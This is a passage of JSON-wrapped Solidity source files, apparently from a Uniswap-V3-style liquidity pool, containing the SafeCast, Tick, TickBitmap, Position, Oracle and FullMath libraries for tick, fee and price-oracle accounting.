"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Safe casting methods\n/// @notice Contains methods for safely casting between types\nlibrary SafeCast {\n /// @notice Cast a uint256 to a uint160, revert on overflow\n /// @param y The uint256 to be downcasted\n /// @return z The downcasted integer, now type uint160\n function toUint160(uint256 y) internal pure returns (uint160 z) {\n require((z = uint160(y)) == y);\n }\n\n /// @notice Cast a int256 to a int128, revert on overflow or underflow\n /// @param y The int256 to be downcasted\n /// @return z The downcasted integer, now type int128\n function toInt128(int256 y) internal pure returns (int128 z) {\n require((z = int128(y)) == y);\n }\n\n /// @notice Cast a uint256 to a int256, revert on overflow\n /// @param y The uint256 to be casted\n /// @return z The casted integer, now type int256\n function toInt256(uint256 y) internal pure returns (int256 z) {\n require(y < 2**255);\n z = int256(y);\n }\n}\n"
},
"contracts/libraries/Tick.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './LowGasSafeMath.sol';\nimport './SafeCast.sol';\n\nimport './TickMath.sol';\nimport './LiquidityMath.sol';\n\n/// @title Tick\n/// @notice Contains functions for managing tick processes and relevant calculations\nlibrary Tick {\n using LowGasSafeMath for int256;\n using SafeCast for int256;\n\n // info stored for each initialized individual tick\n struct Info {\n // the total position liquidity that references this tick\n uint128 liquidityGross;\n // amount of net liquidity added (subtracted) when tick is crossed from left to right (right to left),\n int128 liquidityNet;\n // fee growth per unit of liquidity on the _other_ side of this tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint256 feeGrowthOutside0X128;\n uint256 feeGrowthOutside1X128;\n // the cumulative tick value on the other side of the tick\n int56 tickCumulativeOutside;\n // the seconds per unit of liquidity on the _other_ side of this tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint160 secondsPerLiquidityOutsideX128;\n // the seconds spent on the other side of the tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint32 secondsOutside;\n // true iff the tick is initialized, i.e. the value is exactly equivalent to the expression liquidityGross != 0\n // these 8 bits are set to prevent fresh sstores when crossing newly initialized ticks\n bool initialized;\n }\n\n /// @notice Derives max liquidity per tick from given tick spacing\n /// @dev Executed within the pool constructor\n /// @param tickSpacing The amount of required tick separation, realized in multiples of `tickSpacing`\n /// e.g., a tickSpacing of 3 requires ticks to be initialized every 3rd tick i.e., ..., -6, -3, 0, 3, 6, ...\n /// @return The max liquidity per tick\n function tickSpacingToMaxLiquidityPerTick(int24 tickSpacing) internal pure returns (uint128) {\n int24 minTick = (TickMath.MIN_TICK / tickSpacing) * tickSpacing;\n int24 maxTick = (TickMath.MAX_TICK / tickSpacing) * tickSpacing;\n uint24 numTicks = uint24((maxTick - minTick) / tickSpacing) + 1;\n return type(uint128).max / numTicks;\n }\n\n /// @notice Retrieves fee growth data\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tickLower The lower tick boundary of the position\n /// @param tickUpper The upper tick boundary of the position\n /// @param tickCurrent The current tick\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @return feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries\n /// @return feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries\n function getFeeGrowthInside(\n mapping(int24 => Tick.Info) storage self,\n int24 tickLower,\n int24 tickUpper,\n int24 tickCurrent,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128\n ) internal view returns (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) {\n Info storage lower = self[tickLower];\n Info storage upper = self[tickUpper];\n\n // calculate fee growth below\n uint256 feeGrowthBelow0X128;\n uint256 feeGrowthBelow1X128;\n if (tickCurrent >= tickLower) {\n feeGrowthBelow0X128 = lower.feeGrowthOutside0X128;\n feeGrowthBelow1X128 = lower.feeGrowthOutside1X128;\n } else {\n feeGrowthBelow0X128 = feeGrowthGlobal0X128 - lower.feeGrowthOutside0X128;\n feeGrowthBelow1X128 = feeGrowthGlobal1X128 - lower.feeGrowthOutside1X128;\n }\n\n // calculate fee growth above\n uint256 feeGrowthAbove0X128;\n uint256 feeGrowthAbove1X128;\n if (tickCurrent < tickUpper) {\n feeGrowthAbove0X128 = upper.feeGrowthOutside0X128;\n feeGrowthAbove1X128 = upper.feeGrowthOutside1X128;\n } else {\n feeGrowthAbove0X128 = feeGrowthGlobal0X128 - upper.feeGrowthOutside0X128;\n feeGrowthAbove1X128 = feeGrowthGlobal1X128 - upper.feeGrowthOutside1X128;\n }\n\n feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128;\n feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128;\n }\n\n /// @notice Updates a tick and returns true if the tick was flipped from initialized to uninitialized, or vice versa\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tick The tick that will be updated\n /// @param tickCurrent The current tick\n /// @param liquidityDelta A new amount of liquidity to be added (subtracted) when tick is crossed from left to right (right to left)\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @param secondsPerLiquidityCumulativeX128 The all-time seconds per max(1, liquidity) of the pool\n /// @param time The current block timestamp cast to a uint32\n /// @param upper true for updating a position's upper tick, or false for updating a position's lower tick\n /// @param maxLiquidity The maximum liquidity allocation for a single tick\n /// @return flipped Whether the tick was flipped from initialized to uninitialized, or vice versa\n function update(\n mapping(int24 => Tick.Info) storage self,\n int24 tick,\n int24 tickCurrent,\n int128 liquidityDelta,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128,\n uint160 secondsPerLiquidityCumulativeX128,\n int56 tickCumulative,\n uint32 time,\n bool upper,\n uint128 maxLiquidity\n ) internal returns (bool flipped) {\n Tick.Info storage info = self[tick];\n\n uint128 liquidityGrossBefore = info.liquidityGross;\n uint128 liquidityGrossAfter = LiquidityMath.addDelta(liquidityGrossBefore, liquidityDelta);\n\n require(liquidityGrossAfter <= maxLiquidity, 'LO');\n\n flipped = (liquidityGrossAfter == 0) != (liquidityGrossBefore == 0);\n\n if (liquidityGrossBefore == 0) {\n // by convention, we assume that all growth before a tick was initialized happened _below_ the tick\n if (tick <= tickCurrent) {\n info.feeGrowthOutside0X128 = feeGrowthGlobal0X128;\n info.feeGrowthOutside1X128 = feeGrowthGlobal1X128;\n info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128;\n info.tickCumulativeOutside = tickCumulative;\n info.secondsOutside = time;\n }\n info.initialized = true;\n }\n\n info.liquidityGross = liquidityGrossAfter;\n\n // when the lower (upper) tick is crossed left to right (right to left), liquidity must be added (removed)\n info.liquidityNet = upper\n ? int256(info.liquidityNet).sub(liquidityDelta).toInt128()\n : int256(info.liquidityNet).add(liquidityDelta).toInt128();\n }\n\n /// @notice Clears tick data\n /// @param self The mapping containing all initialized tick information for initialized ticks\n /// @param tick The tick that will be cleared\n function clear(mapping(int24 => Tick.Info) storage self, int24 tick) internal {\n delete self[tick];\n }\n\n /// @notice Transitions to next tick as needed by price movement\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tick The destination tick of the transition\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @param secondsPerLiquidityCumulativeX128 The current seconds per liquidity\n /// @param time The current block.timestamp\n /// @return liquidityNet The amount of liquidity added (subtracted) when tick is crossed from left to right (right to left)\n function cross(\n mapping(int24 => Tick.Info) storage self,\n int24 tick,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128,\n uint160 secondsPerLiquidityCumulativeX128,\n int56 tickCumulative,\n uint32 time\n ) internal returns (int128 liquidityNet) {\n Tick.Info storage info = self[tick];\n info.feeGrowthOutside0X128 = feeGrowthGlobal0X128 - info.feeGrowthOutside0X128;\n info.feeGrowthOutside1X128 = feeGrowthGlobal1X128 - info.feeGrowthOutside1X128;\n info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128 - info.secondsPerLiquidityOutsideX128;\n info.tickCumulativeOutside = tickCumulative - info.tickCumulativeOutside;\n info.secondsOutside = time - info.secondsOutside;\n liquidityNet = info.liquidityNet;\n }\n}\n"
},
"contracts/libraries/TickBitmap.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './BitMath.sol';\n\n/// @title Packed tick initialized state library\n/// @notice Stores a packed mapping of tick index to its initialized state\n/// @dev The mapping uses int16 for keys since ticks are represented as int24 and there are 256 (2^8) values per word.\nlibrary TickBitmap {\n /// @notice Computes the position in the mapping where the initialized bit for a tick lives\n /// @param tick The tick for which to compute the position\n /// @return wordPos The key in the mapping containing the word in which the bit is stored\n /// @return bitPos The bit position in the word where the flag is stored\n function position(int24 tick) private pure returns (int16 wordPos, uint8 bitPos) {\n wordPos = int16(tick >> 8);\n bitPos = uint8(tick % 256);\n }\n\n /// @notice Flips the initialized state for a given tick from false to true, or vice versa\n /// @param self The mapping in which to flip the tick\n /// @param tick The tick to flip\n /// @param tickSpacing The spacing between usable ticks\n function flipTick(\n mapping(int16 => uint256) storage self,\n int24 tick,\n int24 tickSpacing\n ) internal {\n require(tick % tickSpacing == 0); // ensure that the tick is spaced\n (int16 wordPos, uint8 bitPos) = position(tick / tickSpacing);\n uint256 mask = 1 << bitPos;\n self[wordPos] ^= mask;\n }\n\n /// @notice Returns the next initialized tick contained in the same word (or adjacent word) as the tick that is either\n /// to the left (less than or equal to) or right (greater than) of the given tick\n /// @param self The mapping in which to compute the next initialized tick\n /// @param tick The starting tick\n /// @param tickSpacing The spacing between usable ticks\n /// @param lte Whether to search for the next initialized tick to the left (less than or equal to the starting tick)\n /// @return next The next initialized or uninitialized tick up to 256 ticks away from the current tick\n /// @return initialized Whether the next tick is initialized, as the function only searches within up to 256 ticks\n function nextInitializedTickWithinOneWord(\n mapping(int16 => uint256) storage self,\n int24 tick,\n int24 tickSpacing,\n bool lte\n ) internal view returns (int24 next, bool initialized) {\n int24 compressed = tick / tickSpacing;\n if (tick < 0 && tick % tickSpacing != 0) compressed--; // round towards negative infinity\n\n if (lte) {\n (int16 wordPos, uint8 bitPos) = position(compressed);\n // all the 1s at or to the right of the current bitPos\n uint256 mask = (1 << bitPos) - 1 + (1 << bitPos);\n uint256 masked = self[wordPos] & mask;\n\n // if there are no initialized ticks to the right of or at the current tick, return rightmost in the word\n initialized = masked != 0;\n // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick\n next = initialized\n ? (compressed - int24(bitPos - BitMath.mostSignificantBit(masked))) * tickSpacing\n : (compressed - int24(bitPos)) * tickSpacing;\n } else {\n // start from the word of the next tick, since the current tick state doesn't matter\n (int16 wordPos, uint8 bitPos) = position(compressed + 1);\n // all the 1s at or to the left of the bitPos\n uint256 mask = ~((1 << bitPos) - 1);\n uint256 masked = self[wordPos] & mask;\n\n // if there are no initialized ticks to the left of the current tick, return leftmost in the word\n initialized = masked != 0;\n // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick\n next = initialized\n ? (compressed + 1 + int24(BitMath.leastSignificantBit(masked) - bitPos)) * tickSpacing\n : (compressed + 1 + int24(type(uint8).max - bitPos)) * tickSpacing;\n }\n }\n}\n"
},
"contracts/libraries/Position.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './FullMath.sol';\nimport './FixedPoint128.sol';\nimport './LiquidityMath.sol';\n\n/// @title Position\n/// @notice Positions represent an owner address' liquidity between a lower and upper tick boundary\n/// @dev Positions store additional state for tracking fees owed to the position\nlibrary Position {\n // info stored for each user's position\n struct Info {\n // the amount of liquidity owned by this position\n uint128 liquidity;\n // fee growth per unit of liquidity as of the last update to liquidity or fees owed\n uint256 feeGrowthInside0LastX128;\n uint256 feeGrowthInside1LastX128;\n // the fees owed to the position owner in token0/token1\n uint128 tokensOwed0;\n uint128 tokensOwed1;\n }\n\n /// @notice Returns the Info struct of a position, given an owner and position boundaries\n /// @param self The mapping containing all user positions\n /// @param owner The address of the position owner\n /// @param tickLower The lower tick boundary of the position\n /// @param tickUpper The upper tick boundary of the position\n /// @return position The position info struct of the given owners' position\n function get(\n mapping(bytes32 => Info) storage self,\n address owner,\n int24 tickLower,\n int24 tickUpper\n ) internal view returns (Position.Info storage position) {\n position = self[keccak256(abi.encodePacked(owner, tickLower, tickUpper))];\n }\n\n /// @notice Credits accumulated fees to a user's position\n /// @param self The individual position to update\n /// @param liquidityDelta The change in pool liquidity as a result of the position update\n /// @param feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries\n /// @param feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries\n function update(\n Info storage self,\n int128 liquidityDelta,\n uint256 feeGrowthInside0X128,\n uint256 feeGrowthInside1X128\n ) internal {\n Info memory _self = self;\n\n uint128 liquidityNext;\n if (liquidityDelta == 0) {\n require(_self.liquidity > 0, 'NP'); // disallow pokes for 0 liquidity positions\n liquidityNext = _self.liquidity;\n } else {\n liquidityNext = LiquidityMath.addDelta(_self.liquidity, liquidityDelta);\n }\n\n // calculate accumulated fees\n uint128 tokensOwed0 =\n uint128(\n FullMath.mulDiv(\n feeGrowthInside0X128 - _self.feeGrowthInside0LastX128,\n _self.liquidity,\n FixedPoint128.Q128\n )\n );\n uint128 tokensOwed1 =\n uint128(\n FullMath.mulDiv(\n feeGrowthInside1X128 - _self.feeGrowthInside1LastX128,\n _self.liquidity,\n FixedPoint128.Q128\n )\n );\n\n // update the position\n if (liquidityDelta != 0) self.liquidity = liquidityNext;\n self.feeGrowthInside0LastX128 = feeGrowthInside0X128;\n self.feeGrowthInside1LastX128 = feeGrowthInside1X128;\n if (tokensOwed0 > 0 || tokensOwed1 > 0) {\n // overflow is acceptable, have to withdraw before you hit type(uint128).max fees\n self.tokensOwed0 += tokensOwed0;\n self.tokensOwed1 += tokensOwed1;\n }\n }\n}\n"
},
"contracts/libraries/Oracle.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\n/// @title Oracle\n/// @notice Provides price and liquidity data useful for a wide variety of system designs\n/// @dev Instances of stored oracle data, \"observations\", are collected in the oracle array\n/// Every pool is initialized with an oracle array length of 1. Anyone can pay the SSTOREs to increase the\n/// maximum length of the oracle array. New slots will be added when the array is fully populated.\n/// Observations are overwritten when the full length of the oracle array is populated.\n/// The most recent observation is available, independent of the length of the oracle array, by passing 0 to observe()\nlibrary Oracle {\n struct Observation {\n // the block timestamp of the observation\n uint32 blockTimestamp;\n // the tick accumulator, i.e. tick * time elapsed since the pool was first initialized\n int56 tickCumulative;\n // the seconds per liquidity, i.e. seconds elapsed / max(1, liquidity) since the pool was first initialized\n uint160 secondsPerLiquidityCumulativeX128;\n // whether or not the observation is initialized\n bool initialized;\n }\n\n /// @notice Transforms a previous observation into a new observation, given the passage of time and the current tick and liquidity values\n /// @dev blockTimestamp _must_ be chronologically equal to or greater than last.blockTimestamp, safe for 0 or 1 overflows\n /// @param last The specified observation to be transformed\n /// @param blockTimestamp The timestamp of the new observation\n /// @param tick The active tick at the time of the new observation\n /// @param liquidity The total in-range liquidity at the time of the new observation\n /// @return Observation The newly populated observation\n function transform(\n Observation memory last,\n uint32 blockTimestamp,\n int24 tick,\n uint128 liquidity\n ) private pure returns (Observation memory) {\n uint32 delta = blockTimestamp - last.blockTimestamp;\n return\n Observation({\n blockTimestamp: blockTimestamp,\n tickCumulative: last.tickCumulative + int56(tick) * delta,\n secondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 +\n ((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)),\n initialized: true\n });\n }\n\n /// @notice Initialize the oracle array by writing the first slot. Called once for the lifecycle of the observations array\n /// @param self The stored oracle array\n /// @param time The time of the oracle initialization, via block.timestamp truncated to uint32\n /// @return cardinality The number of populated elements in the oracle array\n /// @return cardinalityNext The new length of the oracle array, independent of population\n function initialize(Observation[65535] storage self, uint32 time)\n internal\n returns (uint16 cardinality, uint16 cardinalityNext)\n {\n self[0] = Observation({\n blockTimestamp: time,\n tickCumulative: 0,\n secondsPerLiquidityCumulativeX128: 0,\n initialized: true\n });\n return (1, 1);\n }\n\n /// @notice Writes an oracle observation to the array\n /// @dev Writable at most once per block. Index represents the most recently written element. cardinality and index must be tracked externally.\n /// If the index is at the end of the allowable array length (according to cardinality), and the next cardinality\n /// is greater than the current one, cardinality may be increased. This restriction is created to preserve ordering.\n /// @param self The stored oracle array\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param blockTimestamp The timestamp of the new observation\n /// @param tick The active tick at the time of the new observation\n /// @param liquidity The total in-range liquidity at the time of the new observation\n /// @param cardinality The number of populated elements in the oracle array\n /// @param cardinalityNext The new length of the oracle array, independent of population\n /// @return indexUpdated The new index of the most recently written element in the oracle array\n /// @return cardinalityUpdated The new cardinality of the oracle array\n function write(\n Observation[65535] storage self,\n uint16 index,\n uint32 blockTimestamp,\n int24 tick,\n uint128 liquidity,\n uint16 cardinality,\n uint16 cardinalityNext\n ) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {\n Observation memory last = self[index];\n\n // early return if we've already written an observation this block\n if (last.blockTimestamp == blockTimestamp) return (index, cardinality);\n\n // if the conditions are right, we can bump the cardinality\n if (cardinalityNext > cardinality && index == (cardinality - 1)) {\n cardinalityUpdated = cardinalityNext;\n } else {\n cardinalityUpdated = cardinality;\n }\n\n indexUpdated = (index + 1) % cardinalityUpdated;\n self[indexUpdated] = transform(last, blockTimestamp, tick, liquidity);\n }\n\n /// @notice Prepares the oracle array to store up to `next` observations\n /// @param self The stored oracle array\n /// @param current The current next cardinality of the oracle array\n /// @param next The proposed next cardinality which will be populated in the oracle array\n /// @return next The next cardinality which will be populated in the oracle array\n function grow(\n Observation[65535] storage self,\n uint16 current,\n uint16 next\n ) internal returns (uint16) {\n require(current > 0, 'I');\n // no-op if the passed next value isn't greater than the current next value\n if (next <= current) return current;\n // store in each slot to prevent fresh SSTOREs in swaps\n // this data will not be used because the initialized boolean is still false\n for (uint16 i = current; i < next; i++) self[i].blockTimestamp = 1;\n return next;\n }\n\n /// @notice comparator for 32-bit timestamps\n /// @dev safe for 0 or 1 overflows, a and b _must_ be chronologically before or equal to time\n /// @param time A timestamp truncated to 32 bits\n /// @param a A comparison timestamp from which to determine the relative position of `time`\n /// @param b From which to determine the relative position of `time`\n /// @return bool Whether `a` is chronologically <= `b`\n function lte(\n uint32 time,\n uint32 a,\n uint32 b\n ) private pure returns (bool) {\n // if there hasn't been overflow, no need to adjust\n if (a <= time && b <= time) return a <= b;\n\n uint256 aAdjusted = a > time ? a : a + 2**32;\n uint256 bAdjusted = b > time ? b : b + 2**32;\n\n return aAdjusted <= bAdjusted;\n }\n\n /// @notice Fetches the observations beforeOrAt and atOrAfter a target, i.e. where [beforeOrAt, atOrAfter] is satisfied.\n /// The result may be the same observation, or adjacent observations.\n /// @dev The answer must be contained in the array, used when the target is located within the stored observation\n /// boundaries: older than the most recent observation and younger, or the same age as, the oldest observation\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param target The timestamp at which the reserved observation should be for\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param cardinality The number of populated elements in the oracle array\n /// @return beforeOrAt The observation recorded before, or at, the target\n /// @return atOrAfter The observation recorded at, or after, the target\n function binarySearch(\n Observation[65535] storage self,\n uint32 time,\n uint32 target,\n uint16 index,\n uint16 cardinality\n ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {\n uint256 l = (index + 1) % cardinality; // oldest observation\n uint256 r = l + cardinality - 1; // newest observation\n uint256 i;\n while (true) {\n i = (l + r) / 2;\n\n beforeOrAt = self[i % cardinality];\n\n // we've landed on an uninitialized tick, keep searching higher (more recently)\n if (!beforeOrAt.initialized) {\n l = i + 1;\n continue;\n }\n\n atOrAfter = self[(i + 1) % cardinality];\n\n bool targetAtOrAfter = lte(time, beforeOrAt.blockTimestamp, target);\n\n // check if we've found the answer!\n if (targetAtOrAfter && lte(time, target, atOrAfter.blockTimestamp)) break;\n\n if (!targetAtOrAfter) r = i - 1;\n else l = i + 1;\n }\n }\n\n /// @notice Fetches the observations beforeOrAt and atOrAfter a given target, i.e. where [beforeOrAt, atOrAfter] is satisfied\n /// @dev Assumes there is at least 1 initialized observation.\n /// Used by observeSingle() to compute the counterfactual accumulator values as of a given block timestamp.\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param target The timestamp at which the reserved observation should be for\n /// @param tick The active tick at the time of the returned or simulated observation\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The total pool liquidity at the time of the call\n /// @param cardinality The number of populated elements in the oracle array\n /// @return beforeOrAt The observation which occurred at, or before, the given timestamp\n /// @return atOrAfter The observation which occurred at, or after, the given timestamp\n function getSurroundingObservations(\n Observation[65535] storage self,\n uint32 time,\n uint32 target,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {\n // optimistically set before to the newest observation\n beforeOrAt = self[index];\n\n // if the target is chronologically at or after the newest observation, we can early return\n if (lte(time, beforeOrAt.blockTimestamp, target)) {\n if (beforeOrAt.blockTimestamp == target) {\n // if newest observation equals target, we're in the same block, so we can ignore atOrAfter\n return (beforeOrAt, atOrAfter);\n } else {\n // otherwise, we need to transform\n return (beforeOrAt, transform(beforeOrAt, target, tick, liquidity));\n }\n }\n\n // now, set before to the oldest observation\n beforeOrAt = self[(index + 1) % cardinality];\n if (!beforeOrAt.initialized) beforeOrAt = self[0];\n\n // ensure that the target is chronologically at or after the oldest observation\n require(lte(time, beforeOrAt.blockTimestamp, target), 'OLD');\n\n // if we've reached this point, we have to binary search\n return binarySearch(self, time, target, index, cardinality);\n }\n\n /// @dev Reverts if an observation at or before the desired observation timestamp does not exist.\n /// 0 may be passed as `secondsAgo' to return the current cumulative values.\n /// If called with a timestamp falling between two observations, returns the counterfactual accumulator values\n /// at exactly the timestamp between the two observations.\n /// @param self The stored oracle array\n /// @param time The current block timestamp\n /// @param secondsAgo The amount of time to look back, in seconds, at which point to return an observation\n /// @param tick The current tick\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The current in-range pool liquidity\n /// @param cardinality The number of populated elements in the oracle array\n /// @return tickCumulative The tick * time elapsed since the pool was first initialized, as of `secondsAgo`\n /// @return secondsPerLiquidityCumulativeX128 The time elapsed / max(1, liquidity) since the pool was first initialized, as of `secondsAgo`\n function observeSingle(\n Observation[65535] storage self,\n uint32 time,\n uint32 secondsAgo,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) {\n if (secondsAgo == 0) {\n Observation memory last = self[index];\n if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity);\n return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128);\n }\n\n uint32 target = time - secondsAgo;\n\n (Observation memory beforeOrAt, Observation memory atOrAfter) =\n getSurroundingObservations(self, time, target, tick, index, liquidity, cardinality);\n\n if (target == beforeOrAt.blockTimestamp) {\n // we're at the left boundary\n return (beforeOrAt.tickCumulative, beforeOrAt.secondsPerLiquidityCumulativeX128);\n } else if (target == atOrAfter.blockTimestamp) {\n // we're at the right boundary\n return (atOrAfter.tickCumulative, atOrAfter.secondsPerLiquidityCumulativeX128);\n } else {\n // we're in the middle\n uint32 observationTimeDelta = atOrAfter.blockTimestamp - beforeOrAt.blockTimestamp;\n uint32 targetDelta = target - beforeOrAt.blockTimestamp;\n return (\n beforeOrAt.tickCumulative +\n ((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / observationTimeDelta) *\n targetDelta,\n beforeOrAt.secondsPerLiquidityCumulativeX128 +\n uint160(\n (uint256(\n atOrAfter.secondsPerLiquidityCumulativeX128 - beforeOrAt.secondsPerLiquidityCumulativeX128\n ) * targetDelta) / observationTimeDelta\n )\n );\n }\n }\n\n /// @notice Returns the accumulator values as of each time seconds ago from the given time in the array of `secondsAgos`\n /// @dev Reverts if `secondsAgos` > oldest observation\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param secondsAgos Each amount of time to look back, in seconds, at which point to return an observation\n /// @param tick The current tick\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The current in-range pool liquidity\n /// @param cardinality The number of populated elements in the oracle array\n /// @return tickCumulatives The tick * time elapsed since the pool was first initialized, as of each `secondsAgo`\n /// @return secondsPerLiquidityCumulativeX128s The cumulative seconds / max(1, liquidity) since the pool was first initialized, as of each `secondsAgo`\n function observe(\n Observation[65535] storage self,\n uint32 time,\n uint32[] memory secondsAgos,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) internal view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) {\n require(cardinality > 0, 'I');\n\n tickCumulatives = new int56[](secondsAgos.length);\n secondsPerLiquidityCumulativeX128s = new uint160[](secondsAgos.length);\n for (uint256 i = 0; i < secondsAgos.length; i++) {\n (tickCumulatives[i], secondsPerLiquidityCumulativeX128s[i]) = observeSingle(\n self,\n time,\n secondsAgos[i],\n tick,\n index,\n liquidity,\n cardinality\n );\n }\n }\n}\n"
},
"contracts/libraries/FullMath.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.4.0;\n\n/// @title Contains 512-bit math functions\n/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision\n/// @dev Handles \"phantom overflow\" i.e., allows multiplication and division where an intermediate value overflows 256 bits\nlibrary FullMath {\n /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n /// @param a The multiplicand\n /// @param b The multiplier\n /// @param denominator The divisor\n /// @return result The 256-bit result\n /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv\n function mulDiv(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n // 512-bit multiply [prod1 prod0] = a * b\n // Compute the product mod 2**256 and mod 2**256 - 1\n // then use the Chinese Remainder Theorem to reconstruct\n // the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2**256 + prod0\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(a, b, not(0))\n prod0 := mul(a, b)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division\n if (prod1 == 0) {\n require(denominator > 0);\n assembly {\n result := div(prod0, denominator)\n }\n return result;\n }\n\n // Make sure the result is less than 2**256.\n // Also prevents denominator == 0\n require(denominator > prod1);\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0]\n // Compute remainder using mulmod\n uint256 remainder;\n assembly {\n remainder := mulmod(a, b, denominator)\n }\n // Subtract 256 bit number from 512 bit number\n assembly {\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator\n // Compute largest power of two divisor of denominator.\n // Always >= 1.\n uint256 twos = -denominator & denominator;\n // Divide denominator by power of two\n assembly {\n denominator := div(denominator, twos)\n }\n\n // Divide [prod1 prod0] by the factors of two\n assembly {\n prod0 := div(prod0, twos)\n }\n // Shift in bits from prod1 into prod0. For this we need\n // to flip `twos` such that it is 2**256 / twos.\n // If twos is zero, then it becomes one\n assembly {\n twos := add(div(sub(0, twos), twos), 1)\n }\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2**256\n // Now that denominator is an odd number, it has an inverse\n // modulo 2**256 such that denominator * inv = 1 mod 2**256.\n // Compute the inverse by starting with a seed that is correct\n // correct for four bits. That is, denominator * inv = 1 mod 2**4\n uint256 inv = (3 * denominator) ^ 2;\n // Now use Newton-Raphson iteration to improve the precision.\n // Thanks to Hensel's lifting lemma, this also works in modular\n // arithmetic, doubling the correct bits in each step.\n inv *= 2 - denominator * inv; // inverse mod 2**8\n inv *= 2 - denominator * inv; // inverse mod 2**16\n inv *= 2 - denominator * inv; // inverse mod 2**32\n inv *= 2 - denominator * inv; // inverse mod 2**64\n inv *= 2 - denominator * inv; // inverse mod 2**128\n inv *= 2 - denominator * inv; // inverse mod 2**256\n\n // Because the division is now exact we can divide by multiplying\n // with the modular inverse of denominator. This will give us the\n // correct result modulo 2**256. Since the precoditions guarantee\n // that the outcome is less than 2**256, this is the final result.\n // We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inv;\n return result;\n }\n\n /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n /// @param a The multiplicand\n /// @param b The multiplier\n /// @param denominator The divisor\n /// @return result The 256-bit result\n function mulDivRoundingUp(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n result = mulDiv(a, b, denominator);\n if (mulmod(a, b, denominator) > 0) {\n require(result < type(uint256).max);\n result++;\n }\n }\n}\n"
},
"contracts/libraries/FixedPoint128.sol": {
